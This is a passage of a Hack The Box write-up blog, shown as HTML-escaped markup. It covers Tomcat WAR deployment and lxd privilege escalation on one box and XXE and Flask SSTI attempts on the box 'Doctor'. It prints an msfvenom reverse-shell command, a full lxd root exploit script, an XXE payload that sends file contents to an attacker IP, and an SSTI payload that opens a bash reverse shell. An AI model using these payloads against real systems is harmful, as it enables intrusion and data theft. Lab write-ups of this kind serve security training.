class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -v -u &amp;#39;tomcat:$3cureP4s5w0rd123!&amp;#39; --upload-file pwn.war &amp;#34;http://megahosting.htb:8080/manager/text/deploy?path=/foo&amp;amp;update=true&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://megahosting.htb:8080/foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 9999&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That immediately returned a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I prepared for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;sudo -l, s, and suid all revealed nothing.&lt;/p&gt;&#10;&lt;p&gt;My first step was to inspect the www directory. new.php only provided arbitrary file read, not file inclusion.&lt;/p&gt;&#10;&lt;p&gt;But the file directory was owned by ash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I transferred it to kali with nc and extracted it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It required a password. The recovered password was admin@it.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time examining the extracted files afterward, but found nothing. The only possible angle, as I understood it, was that the fgets function might allow file inclusion, but that was actually impossible.&lt;/p&gt;&#10;&lt;p&gt;I later wondered whether it might be ash&amp;rsquo;s password. I tried su, and it really was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I continued with privilege escalation. I tried many things; sudo was unavailable, and pspy32 showed this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was not useful either. Then I wondered whether the site on port 80 ran as root. If I wrote a php file into the files directory owned by ash,&lt;/p&gt;&#10;&lt;p&gt;could I escalate directly to root? In practice, files was not writable. Even chmod +w failed; its permissions were locked to read-only.&lt;/p&gt;&#10;&lt;p&gt;I also checked the sudo version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For each of these groups, I used find to look for executables or other files belonging to the group.&lt;/p&gt;&#10;&lt;p&gt;There were none. Finally, I uploaded LinEnum.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It mentioned this. I did not know what lxd was, so I searched for it.&lt;/p&gt;&#10;&lt;p&gt;I found many exploits. The posts explained that membership in the lxd or lxc group could be used to become root.&lt;/p&gt;&#10;&lt;p&gt;kali also had a payload for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried following this payload, but it kept failing. Eventually, the first article in my google results solved it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After uploading it, execution kept failing. First I had to edit the exp because it did not define paths for lxc and lxd.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/usr/bin/env bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Authors: Marcelo Vazquez (S4vitar)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#9; Victor Lasa (vowkin)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: Download build-alpine =&amp;gt; wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: Build alpine =&amp;gt; bash build-alpine (as root user) [Attacker Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Run this script and you will get root [Victim Machine]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function helpPanel(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\nUsage:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-f] Filename (.tar.gz alpine file)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;\t[-h] Show this help panel\n&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function createContainer(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc image import $filename --alias alpine &amp;amp;&amp;amp; /snap/bin/lxd init --auto&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -e &amp;#34;[*] Listing images...\n&amp;#34; &amp;amp;&amp;amp; /snap/bin/lxc image list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc init alpine privesc -c security.privileged=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc start privesc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc exec privesc sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cleanup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function cleanup(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -en &amp;#34;\n[*] Removing container...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /snap/bin/lxc stop privesc &amp;amp;&amp;amp; /snap/bin/lxc delete privesc &amp;amp;&amp;amp; /snap/bin/lxc image delete alpine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34; [√]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o nounset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -o errexit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;declare -i parameter_enable=0; while getopts &amp;#34;:f:h:&amp;#34; arg; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; case $arg in&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; f) filename=$OPTARG &amp;amp;&amp;amp; let parameter_enable+=1;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; h) helpPanel;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ $parameter_enable -ne 1 ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; helpPanel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; createContainer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I then followed the tutorial above to generate alpine-v3.8-i686-20241027_1315.tar.gz.&lt;/p&gt;&#10;&lt;p&gt;Next I transferred both files to the target and ran:&lt;/p&gt;&#10;&lt;p&gt;./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz&lt;/p&gt;&#10;&lt;p&gt;That successfully escalated privileges. I was stuck here for a very long time.&lt;/p&gt;&#10;&lt;p&gt;Half the problem was that generating alpine-v3.13-x86_64-20210218_0139.tar.gz kept failing.&lt;/p&gt;&#10;&lt;p&gt;The other half was that even after the privilege escalation succeeded, commands such as cat failed and the session crashed immediately. There was nothing I could do except keep resetting the machine and repeating every command to reach this point.&lt;/p&gt;&#10;&lt;p&gt;The 46978.sh file itself was easy to fix: it simply could not locate lxc and lxd, so I added their absolute paths.&lt;/p&gt;&#10;&lt;p&gt;I only later realized that my procedure was wrong. As 46978.sh explained, I only needed to enter /mnt/root to access every file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This still counted as conventional privilege escalation. I had not seen tomcat&amp;rsquo;s manager-host before, nor had I used lxd, but neither technique was unexpected. Usually you find an exp, understand it, and run it.&lt;/p&gt;&#10;&lt;p&gt;Using it for the first time simply wasted a great deal of time. I need to improve my search skills and read payloads more carefully.&lt;/p&gt;&#10;&lt;h2 id="26doctor"&gt;&lt;a href="#26doctor" class="header-anchor"&gt;&lt;/a&gt;26.Doctor&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The web page revealed a domain, which I added to hosts.&lt;/p&gt;&#10;&lt;p&gt;Visiting the domain again produced this page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Registering an account gave me direct access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both the source and the directory brute-forcing tool pointed to /archive.&lt;/p&gt;&#10;&lt;p&gt;At first, however, it was empty.&lt;/p&gt;&#10;&lt;p&gt;Interestingly, new message could be used to create a blog post.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/post/1" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/post/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This showed what the 1 represented. The endpoint did not have sql injection or anything similar.&lt;/p&gt;&#10;&lt;p&gt;After I created a new message,&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;showed the item I had created. I made a major mistake here: I assumed it was XXE and spent a long time testing it. There was no response content. The following methods consistently failed, although the server did make the requests.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;/etc/passwd&amp;#34;&amp;gt; ]&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;data&amp;gt;&amp;amp;example;&amp;lt;/data&amp;gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/title&amp;gt;&amp;lt;/item&amp;gt;&amp;lt;!--?xml version=&amp;#34;1.0&amp;#34; ?--&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % file SYSTEM &amp;#34;file:///etc/hostname&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;!ENTITY % eval &amp;#34;&amp;lt;!ENTITY &amp;amp;#x25; exfiltrate SYSTEM &amp;#39;http://10.10.16.19:5000/evil.dtd?x=%file;&amp;#39;&amp;gt;&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%eval;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%exfiltrate;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It simply seemed unable to read files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it could make requests.&lt;/p&gt;&#10;&lt;p&gt;This was a wrong turn. I tried a great many payloads without success. After a lot of searching, I noticed that nearly every result covered XXE in php or java, with nothing about exploiting this issue in python.&lt;/p&gt;&#10;&lt;p&gt;I had actually run whatweb when I first encountered the site.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not seem to reveal anything.&lt;/p&gt;&#10;&lt;p&gt;Later searches showed that when python is used as the backend with flask, it may be vulnerable to ssti template injection. It suddenly clicked that a python backend could indeed have this vulnerability.&lt;/p&gt;&#10;&lt;p&gt;I first tested whether it was present.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After creating the item, I visited:&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, so I prepared an exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://payatu.com/blog/server-side-template-injectionssti/" target="_blank" rel="noopener"&#10; &gt;https://payatu.com/blog/server-side-template-injectionssti/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The exp in this post worked. I only needed to construct the payload and submit it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{{request.application.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#34;bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/6666 &amp;lt;&amp;amp;1&amp;#39;&amp;#34;).read()}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;The admin user was immediately visible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not created this user. sudo -l required a password, so my current plan was to crack this and then inspect sudo -l.&lt;/p&gt;&#10;&lt;p&gt;$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I identified the algorithm as bcrypt and could run it through john.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In practice, finishing this run did not help. It could not crack the hash at all, and bcrypt was extremely resource-intensive and slow.&lt;/p&gt;&#10;&lt;p&gt;This route was a dead end, so I tried other escalation paths.&lt;/p&gt;&#10;&lt;p&gt;Neither suid nor sudo revealed anything. There was another user named shaun under home.&lt;/p&gt;&#10;&lt;p&gt;Then I noticed one more user whose home directory was /opt/splunkforwarder. It contained a readme and a version number.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A google search showed that this program listens on port 8089. nmap had found that port earlier, but my testing had produced nothing, so I ignored it. Perhaps the intended hint was to escalate into splunk.&lt;/p&gt;&#10;&lt;p&gt;I found no exp for this version, but the site below said that simply logging in appeared sufficient to get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started looking for configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862" target="_blank" rel="noopener"&#10; &gt;https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not read it. I kept investigating this service but found no way to compromise it, and it ran as root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I uploaded linenum for another look, but it found 